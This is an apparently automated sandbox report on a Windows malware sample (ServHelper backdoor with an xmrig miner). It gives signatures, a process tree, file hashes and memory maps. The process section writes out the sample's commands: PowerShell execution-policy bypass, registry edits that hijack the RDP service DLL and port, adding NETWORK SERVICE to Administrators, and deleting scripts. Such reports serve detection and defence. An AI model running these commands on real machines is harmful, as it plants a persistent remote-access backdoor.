Malware Analysis Report

2024-10-23 17:52

Sample ID 210910-3wxlxsdghn
Target vv.exe
SHA256 6d6134155811eb82705509295bd4b87c6aaad43c1b54048c20d3cbf680494dfb
Tags
servhelper xmrig backdoor miner persistence trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6d6134155811eb82705509295bd4b87c6aaad43c1b54048c20d3cbf680494dfb

Threat Level: Known bad

The file vv.exe was found to be: Known bad.

Malicious Activity Summary

servhelper xmrig backdoor miner persistence trojan

xmrig

ServHelper

Grants admin privileges

Modifies RDP port number used by Windows

Sets DLL path for service in the registry

Drops file in System32 directory

Drops file in Windows directory

Runs net.exe

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Modifies registry key

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: LoadsDriver

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2021-09-10 23:52

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2021-09-10 23:52

Reported

2021-09-10 23:55

Platform

win7v20210408

Max time kernel

0s

Max time network

52s

Command Line

"C:\Users\Admin\AppData\Local\Temp\vv.exe"

Signatures

N/A

Processes

C:\Users\Admin\AppData\Local\Temp\vv.exe

"C:\Users\Admin\AppData\Local\Temp\vv.exe"

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2021-09-10 23:52

Reported

2021-09-10 23:55

Platform

win10-en

Max time kernel

76s

Max time network

136s

Command Line

"C:\Users\Admin\AppData\Local\Temp\vv.exe"

Signatures

ServHelper

trojan backdoor servhelper

xmrig

miner xmrig

Grants admin privileges

Modifies RDP port number used by Windows

Sets DLL path for service in the registry

persistence

Drops file in System32 directory

Description Indicator Process Target
File created C:\Windows\SysWOW64\rdpclip.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\branding\Basebrd C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\ShellBrd C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasrv.png C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\mediasvc.png C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\branding\wupsvc.jpg C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasrv.png C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\mediasvc.png C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File created C:\Windows\branding\wupsvc.jpg C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry key

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\reg.exe N/A

Runs net.exe

Suspicious behavior: LoadsDriver

Description Indicator Process Target
N/A N/A N/A N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4564 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\vv.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4564 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\vv.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4564 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\vv.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 4876 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 4680 wrote to memory of 4876 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 4680 wrote to memory of 4876 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
PID 4876 wrote to memory of 4904 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4876 wrote to memory of 4904 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4876 wrote to memory of 4904 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
PID 4680 wrote to memory of 5036 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 5036 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 5036 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 972 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 972 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 972 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 688 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 688 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 688 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 4536 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 4536 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 4536 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 2732 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 2732 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 2732 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 4100 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 4100 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 4100 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 4680 wrote to memory of 2392 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\net.exe
PID 4680 wrote to memory of 2392 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\net.exe
PID 4680 wrote to memory of 2392 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\net.exe
PID 2392 wrote to memory of 2396 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2392 wrote to memory of 2396 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2392 wrote to memory of 2396 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 4680 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 2712 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2176 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2176 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2712 wrote to memory of 2176 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2176 wrote to memory of 880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2176 wrote to memory of 880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2176 wrote to memory of 880 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 880 wrote to memory of 4732 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 880 wrote to memory of 4732 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 880 wrote to memory of 4732 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 4680 wrote to memory of 424 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 424 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 424 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 424 wrote to memory of 1040 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 424 wrote to memory of 1040 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 424 wrote to memory of 1040 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 1040 wrote to memory of 1180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1040 wrote to memory of 1180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1040 wrote to memory of 1180 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1180 wrote to memory of 1268 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1180 wrote to memory of 1268 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1180 wrote to memory of 1268 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 4680 wrote to memory of 3920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 3920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 3920 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 3948 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 3948 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 4680 wrote to memory of 3948 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\vv.exe

"C:\Users\Admin\AppData\Local\Temp\vv.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kgvouvyj\kgvouvyj.cmdline"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2CF1.tmp" "c:\Users\Admin\AppData\Local\Temp\kgvouvyj\CSCD7C6624F86EE4BDA8EBC4BF80405E2C.TMP"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f

C:\Windows\SysWOW64\net.exe

"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr

C:\Windows\SysWOW64\cmd.exe

cmd /c net start rdpdr

C:\Windows\SysWOW64\net.exe

net start rdpdr

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start rdpdr

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService

C:\Windows\SysWOW64\cmd.exe

cmd /c net start TermService

C:\Windows\SysWOW64\net.exe

net start TermService

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start TermService

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f

Network

Files

memory/4564-115-0x00000000051D0000-0x00000000055CF000-memory.dmp

memory/4564-117-0x0000000005AD0000-0x0000000005AD1000-memory.dmp

memory/4564-118-0x0000000005770000-0x0000000005771000-memory.dmp

memory/4564-119-0x00000000056F0000-0x00000000056F1000-memory.dmp

memory/4564-121-0x0000000004DB2000-0x0000000004DB3000-memory.dmp

memory/4564-120-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

memory/4564-122-0x0000000004DB3000-0x0000000004DB4000-memory.dmp

memory/4564-123-0x0000000004DB4000-0x0000000004DB5000-memory.dmp

memory/4564-124-0x0000000007BD0000-0x0000000007BD1000-memory.dmp

memory/4680-125-0x0000000000000000-mapping.dmp

memory/4680-128-0x0000000004D40000-0x0000000004D41000-memory.dmp

memory/4680-129-0x0000000007590000-0x0000000007591000-memory.dmp

memory/4680-130-0x0000000007480000-0x0000000007481000-memory.dmp

memory/4680-131-0x0000000007520000-0x0000000007521000-memory.dmp

memory/4680-133-0x0000000007E40000-0x0000000007E41000-memory.dmp

memory/4680-134-0x0000000006F50000-0x0000000006F51000-memory.dmp

memory/4680-135-0x0000000006F52000-0x0000000006F53000-memory.dmp

memory/4680-136-0x0000000007C80000-0x0000000007C81000-memory.dmp

memory/4680-137-0x0000000008290000-0x0000000008291000-memory.dmp

memory/4680-138-0x0000000008560000-0x0000000008561000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ready.ps1

MD5 28d9755addec05c0b24cca50dfe3a92b
SHA1 7d3156f11c7a7fb60d29809caf93101de2681aa3
SHA256 abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9
SHA512 891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

memory/4680-144-0x0000000009B50000-0x0000000009B51000-memory.dmp

memory/4680-145-0x0000000009260000-0x0000000009261000-memory.dmp

memory/4876-146-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\kgvouvyj\kgvouvyj.cmdline

MD5 1bdb829417a8b8520f128b50c3ee7366
SHA1 3ef871aa8b0e561a921bd5c2272a490d1eaad8db
SHA256 208abe1d06bff3d7723096e72196881c16b8b5157ac8d605c2076b5457af02ee
SHA512 65239ac1d2a0db19423b028e2e410e79af7b5a7c65ba963a713b540c53cbc15fa30e967a40c8b4c26b11944033a41b64e709109d406dd63a5debfbc3d220804b

\??\c:\Users\Admin\AppData\Local\Temp\kgvouvyj\kgvouvyj.0.cs

MD5 9f8ab7eb0ab21443a2fe06dab341510e
SHA1 2b88b3116a79e48bab7114e18c9b9674e8a52165
SHA256 e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9
SHA512 53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

memory/4904-149-0x0000000000000000-mapping.dmp

\??\c:\Users\Admin\AppData\Local\Temp\kgvouvyj\CSCD7C6624F86EE4BDA8EBC4BF80405E2C.TMP

MD5 c96cde0e70844a4d61e739eda88b91ae
SHA1 6f819dcfcb8c1c68603fd066c48e3305e7bd16f9
SHA256 a03b73546aac9b7f78edb6597341e6c291ffdbf4eb110a45f0a1afaa045481bd
SHA512 76b745c7b8e97dd47fe3f32060bce86fb35331ff5608be6d33fb1704182df78349abd3a9eb12246e95aba6d97157f6571b772c25e4b95c363c8eac207869416a

C:\Users\Admin\AppData\Local\Temp\RES2CF1.tmp

MD5 0c1706617cf3eeb18e8c85e95bdb1bb3
SHA1 66733a046d944633d1d83fde85e6a8c91f1036e3
SHA256 0b34328a2d7312b47ae018d53905153993467f317bcad7882cb0f6e464b9adbf
SHA512 501d02068a979a700f050b3c836f6eab1a6d988278e98387c666379ed2a4198d3f03524601d94856371b94c183032874a470b60581639d167995f2954b5d267b

C:\Users\Admin\AppData\Local\Temp\kgvouvyj\kgvouvyj.dll

MD5 915f462c0b74d10e05ee71dd96356bde
SHA1 66c1aeb1f35fa9f12804fe683963974824f20de5
SHA256 d7004d973db948e5aba372def2ee81eb663e4dc4d8faf287fb1aef5827fac850
SHA512 a65e87e0df1b501a8a863c4f327d4077e720ace354fab155af5eb521a27f55039cbfd481ae02cc5ac93f7a9c77f2fc29ebd8f7463dda04556c97c328ef4ac11f

memory/4680-153-0x00000000094E0000-0x00000000094E1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

MD5 30303b0cc1d6833b7dc84fbb907822be
SHA1 caaa99bb9a56a6974ba16fce6e01f4f95016b9f5
SHA256 91b6b2284e42eb7bdf6371fcbaf1724027fc600cd9bb56ed81f2f7d8c784f617
SHA512 117cb2e2c687d2cca1c069151df4c085dcb4a88e51b1f17b8b0e2f9ce1adf181ed76b8cc1c262bee45e34d7a8b513d5bf19a50f394064cf5c132fec23a6fb7da

memory/4680-155-0x0000000006F53000-0x0000000006F54000-memory.dmp

memory/4680-176-0x0000000008620000-0x0000000008621000-memory.dmp

memory/5036-177-0x0000000000000000-mapping.dmp

memory/5036-182-0x0000000007170000-0x0000000007171000-memory.dmp

memory/5036-183-0x0000000007172000-0x0000000007173000-memory.dmp

memory/5036-198-0x0000000008F60000-0x0000000008F93000-memory.dmp

memory/5036-206-0x0000000008F40000-0x0000000008F41000-memory.dmp

memory/5036-211-0x0000000009090000-0x0000000009091000-memory.dmp

memory/5036-212-0x0000000009240000-0x0000000009241000-memory.dmp

memory/5036-281-0x000000007ED20000-0x000000007ED21000-memory.dmp

memory/5036-406-0x00000000091E0000-0x00000000091E1000-memory.dmp

memory/5036-412-0x00000000091D0000-0x00000000091D1000-memory.dmp

memory/972-432-0x0000000000000000-mapping.dmp

memory/972-441-0x0000000007160000-0x0000000007161000-memory.dmp

memory/972-442-0x0000000007162000-0x0000000007163000-memory.dmp

memory/972-536-0x000000007FA80000-0x000000007FA81000-memory.dmp

memory/688-683-0x0000000000000000-mapping.dmp

memory/688-697-0x0000000004EC2000-0x0000000004EC3000-memory.dmp

memory/688-696-0x0000000004EC0000-0x0000000004EC1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

MD5 f3068198b62b4b70404ec46694d632be
SHA1 7b0b31ae227cf2a78cb751573a9d07f755104ea0
SHA256 bd0fab28319be50795bd6aa9692742ba12539b136036acce2e0403f10a779fc8
SHA512 ef285a93898a9436219540f247beb52da69242d05069b3f50d1761bb956ebb8468aeaeadcb87dd7a09f5039c479a31f313c83c4a63c2b2f789f1fe55b4fa9795

memory/688-792-0x000000007FB40000-0x000000007FB41000-memory.dmp

memory/4536-962-0x0000000000000000-mapping.dmp

memory/2732-963-0x0000000000000000-mapping.dmp

memory/4100-964-0x0000000000000000-mapping.dmp

memory/2392-1001-0x0000000000000000-mapping.dmp

memory/2396-1002-0x0000000000000000-mapping.dmp

memory/2712-1005-0x0000000000000000-mapping.dmp

memory/2176-1006-0x0000000000000000-mapping.dmp

memory/880-1007-0x0000000000000000-mapping.dmp

memory/4732-1008-0x0000000000000000-mapping.dmp

memory/424-1009-0x0000000000000000-mapping.dmp

memory/1040-1010-0x0000000000000000-mapping.dmp

memory/1180-1011-0x0000000000000000-mapping.dmp

memory/1268-1012-0x0000000000000000-mapping.dmp

memory/3920-1025-0x0000000000000000-mapping.dmp

memory/3948-1026-0x0000000000000000-mapping.dmp

memory/4680-1067-0x000000007F4D0000-0x000000007F4D1000-memory.dmp